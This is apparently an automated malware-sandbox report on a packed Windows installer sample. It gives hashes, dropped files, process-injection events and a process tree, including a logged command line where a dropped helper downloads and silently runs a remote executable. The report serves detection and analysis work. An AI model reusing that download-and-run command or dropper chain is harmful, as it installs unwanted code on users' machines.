91b8c7677ff6d15ed2b967c6c2fbd6860df58470f1e38ed971ba352ecb83aeb3

Analysis

max time kernel
149s
max time network
155s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
20-07-2024 03:05

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General

Target

5ecb717d7022d2cd9d06a93d738fbc41_JaffaCakes118.exe
Size

88KB
MD5

5ecb717d7022d2cd9d06a93d738fbc41
SHA1

9c4c982aeed6d0af922fcd0261f0c2a1fb36590c
SHA256

91b8c7677ff6d15ed2b967c6c2fbd6860df58470f1e38ed971ba352ecb83aeb3
SHA512

6bce562aca1308f7d36a701b481a60dbc528a266b22078ed8fceebeeb2167d4d88fbed4884f52e7df06e72f219d28add575ae28ebf1d83f201d7e25b38557cce
SSDEEP

1536:3PsvTIyYxIrgpWEttc6oGvLeEYI9MjR0q4Qmm+6RnYe7QeHtRPQDt1xBFAu:wIDImntcjGvaEY1Lv+6JhjHtRYDtHcu

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2396	wsget.exe
2416	mosquito.exe

Loads dropped DLL 8 IoCs

pid	Process
2904	5ecb717d7022d2cd9d06a93d738fbc41_JaffaCakes118.exe
2904	5ecb717d7022d2cd9d06a93d738fbc41_JaffaCakes118.exe
2396	wsget.exe
2396	wsget.exe
2416	mosquito.exe
2416	mosquito.exe
2416	mosquito.exe
2416	mosquito.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2904-0-0x0000000000400000-0x000000000042E000-memory.dmp	upx
behavioral1/memory/2904-16-0x0000000000400000-0x000000000042E000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2904 wrote to memory of 2396	2904	5ecb717d7022d2cd9d06a93d738fbc41_JaffaCakes118.exe	29
PID 2904 wrote to memory of 2396	2904	5ecb717d7022d2cd9d06a93d738fbc41_JaffaCakes118.exe	29
PID 2904 wrote to memory of 2396	2904	5ecb717d7022d2cd9d06a93d738fbc41_JaffaCakes118.exe	29
PID 2904 wrote to memory of 2396	2904	5ecb717d7022d2cd9d06a93d738fbc41_JaffaCakes118.exe	29
PID 2396 wrote to memory of 2416	2396	wsget.exe	30
PID 2396 wrote to memory of 2416	2396	wsget.exe	30
PID 2396 wrote to memory of 2416	2396	wsget.exe	30
PID 2396 wrote to memory of 2416	2396	wsget.exe	30
PID 2396 wrote to memory of 2416	2396	wsget.exe	30
PID 2396 wrote to memory of 2416	2396	wsget.exe	30
PID 2396 wrote to memory of 2416	2396	wsget.exe	30

C:\Users\Admin\AppData\Local\Temp\5ecb717d7022d2cd9d06a93d738fbc41_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\5ecb717d7022d2cd9d06a93d738fbc41_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Users\Admin\AppData\Local\Temp\~nsu.tmp\wsget.exe
  "C:\Users\Admin\AppData\Local\Temp\~nsu.tmp\wsget.exe" "C:\Program Files (x86)\WhiteSmoke Translator"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Users\Admin\AppData\Local\Temp\~nsu.tmp\mosquito.exe
    "C:\Users\Admin\AppData\Local\Temp\~nsu.tmp\mosquito.exe" /url="http://download.bandoo.com/o/0/r/54/Fun4IMV6.exe" /args="/S"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2416

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\nsoF73C.tmp\inetc.dll

Filesize
23KB

MD5
9cb2213df57b7bcfaa8c4c5ec44edbf6

SHA1
2860d74feac2bb064134444ab985617d7244814b

SHA256
0003923bf90d38ff127d8fbcf76d5f90cc7988876b31b4d0229a9f7e87f36442

SHA512
fc4794790b18a989bda9bf62f6f05b95c9c31eef16272f39a28adf7becb281ecc53b169774361278df079e8a450f367fb2c848c9e229d66cef2aac1114387a39

Download Submit
\Users\Admin\AppData\Local\Temp\~nsu.tmp\mosquito.exe

Filesize
48KB

MD5
618b0d7853917125a1cf61a6aeced9f1

SHA1
b45b75eabe15e4e242a9574abca8eb265047df03

SHA256
b3be39d0b638c27385ab93e7b4e9d619890fca318d0ae772624ed60275562449

SHA512
d73da3f0c2ec512d041fdaf54bc9c4ebcb159a29b8e5e5929f3f222043d74033a060745362df6c9326d1ce744a66ed6219a6b240a86537b23b975926a91770eb

Download Submit
\Users\Admin\AppData\Local\Temp\~nsu.tmp\wsget.exe

Filesize
63KB

MD5
4e242f3fed95f44c04c71d7759baf64b

SHA1
d0b31815f7ba51d705ab02aa48614880edb3108e

SHA256
0045fb0e97ac43dc0f55bd153c298e2f52b107f19cc57fbd17e7cb09a77dc57d

SHA512
90b4024f7296dd49ed81a115861211de5ab3decc9ab61c4b18818f9ad324651f112eacf268a55174077a5f70744efa4c781ce34794c974a18c35eb0287ee20ba

Download Submit
memory/2396-13-0x0000000000370000-0x0000000000386000-memory.dmp

Filesize
88KB

Download
memory/2904-0-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/2904-12-0x00000000001C0000-0x00000000001D6000-memory.dmp

Filesize
88KB

Download
memory/2904-11-0x00000000001C0000-0x00000000001D6000-memory.dmp

Filesize
88KB

Download
memory/2904-16-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download